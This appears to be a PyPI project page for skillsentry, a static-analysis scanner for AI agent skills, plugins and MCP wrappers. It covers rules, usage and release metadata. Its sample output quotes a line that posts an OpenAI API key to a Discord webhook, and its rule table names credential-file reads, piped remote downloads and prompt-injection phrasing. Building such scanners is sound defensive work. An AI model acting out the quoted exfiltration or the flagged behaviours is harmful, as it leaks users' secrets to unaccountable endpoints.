skillsentry
You install a skill, plugin or MCP wrapper. It reads a file it should not read, calls an endpoint you cannot audit, and hides a line from the transcript that approved it.
skillsentry is the gate that runs before that happens. Point it at a skill directory, a plugin repo or a single script; it prints every finding with the exact file and line, exits non-zero above your severity floor, and can emit SARIF for GitHub code scanning.
No network calls. Nothing is executed. Static analysis only.
$ skillsentry check ./skills/web-research
skillsentry — 1 skill(s), 9 file(s) scanned, 8 rule(s)
findings: 2 (critical=1 high=1 medium=0 low=0)
[CRITICAL] SE004 SE004 scripts/sync.py:14 — posts data to a personal webhook endpoint (discord.com)
requests.post("https://discord.com/api/webhooks/...", json=os.environ["OPENAI_API_KEY"])
fix: Webhook destinations cannot be reviewed after the fact. Require a documented, owned endpoint.
[HIGH] SE001 scripts/install.sh:3 — remote download piped straight into an interpreter
fix: Download the script, pin its hash, review it, then run the local copy.
Install
pip install skillsentry # once the PyPI queue clears
# no PyPI needed — install the release wheel
pip install https://github.com/ZidoCode/skillsentry/releases/download/v0.1.0/skillsentry-0.1.0-py3-none-any.whl
# or straight from the repo
pip install git+https://github.com/ZidoCode/skillsentry
Python 3.9+. No runtime dependencies.
Use
skillsentry check . # scan a repo
skillsentry check skills/pdf --min-severity high
skillsentry check . --format json # machine readable
skillsentry check . --format sarif -o results.sarif
skillsentry check . --rules SE001 --rules SE004
skillsentry check . --exclude 'vendor/*' --exclude 'tests/*'
skillsentry rules # list rules and severities
Exit codes: 0 clean, 2 findings at or above --min-severity, 3 usage
error, 1 unexpected error. Use it as a pre-install hook, a pre-commit
step, or a CI gate.
Accepted findings
Fingerprints are stable across runs, so an accepted risk stays accepted:
skillsentry check . --format json | jq -r '.findings[].fingerprint' >> .skillsentryignore
The file is picked up automatically next to the scanned path. Lines are either
a full fingerprint or a RULE:path prefix. --no-ignore shows everything.
Rules
| ID | Severity | Catches |
|---|---|---|
| SE001 | high | Remote download piped into sh/bash/python/iex (SE001 in scripts, medium in docs) |
| SE002 | high | eval, exec, os.system, subprocess(shell=True), child_process.exec |
| SE003 | high | Reads of ~/.ssh, cloud credential files, browser cookies, secret env vars |
| SE004 | high / critical | Personal webhook endpoints (discord, slack, telegram, webhook.site, ngrok, …); critical when the same file also touches a secret |
| SE005 | medium | Long base64 blobs and dense hex escapes that cannot be reviewed |
| SE006 | high | Zero-width/bidi unicode, prompt-injection phrasing, HTML comments carrying instructions |
| SE007 | low | Unpinned installs, raw.githubusercontent.com/.../main/, unpinned git clone |
| SE008 | medium | Uses network/exec/write/secrets without declaring them in permissions: |
SE008 reads the permissions block of SKILL.md:
---
name: pdf-tools
permissions:
- exec
- write
---
If the scripts use the network but network is not listed, that is drift.
GitHub Action
name: skillsentry
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: ZidoCode/skillsentry@v1.0.0
with:
path: skills
min-severity: high
- uses: ZidoCode/skillsentry@v1.0.0
with:
args: --format sarif -o results.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: results.sarif
What this does not do
It does not prove a skill is safe. It removes the cheap wins: hidden instructions, credential reads, exfiltration endpoints, unpinned downloads and undeclared capabilities. A determined attacker who reads this repository can still write something that slips through — the point is to make the boring version of the attack fail loudly.
Development
python -m pytest -q
python -m skillsentry check .
MIT licensed.
Metadata
Release files for skillsentry 0.1.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| skillsentry-0.1.1.tar.gz | 22.8 kB | Without provenance | Details for skillsentry-0.1.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| skillsentry-0.1.1-py3-none-any.whl | Python 3 | none | any | Details for skillsentry-0.1.1-py3-none-any.whl |
Total release size: 42.3 kB
Release files / skillsentry-0.1.1.tar.gz
| Download URL | skillsentry-0.1.1.tar.gz |
|---|---|
| Size | 22.8 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
06a9a75977106b4c9016f8497ac80e3d2895e7d79c9ab155c56a0b396a5ee75e
|
|
BLAKE2b-256 checksum How to use checksums |
5216f1ebe9e4d2c2c74afeccffc3691c74872f66a5e0dacfe345deb3b5b23355
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
uv/0.12.18 {"installer":{"name":"uv","version":"0.12.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"Ubuntu","version":"24.04","id":"noble","libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
|
Release files / skillsentry-0.1.1-py3-none-any.whl
| Download URL | skillsentry-0.1.1-py3-none-any.whl |
|---|---|
| Size | 19.4 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
bee267aacdc9b1519803e6e29e3c5c790313475375ea9a39e22ad928075b3fcf
|
|
BLAKE2b-256 checksum How to use checksums |
48a4e528bb72b262aa7ec469b273a422e69a8a341f30952fc958123e54193104
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
uv/0.12.18 {"installer":{"name":"uv","version":"0.12.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"Ubuntu","version":"24.04","id":"noble","libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
|
Security for skillsentry 0.1.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.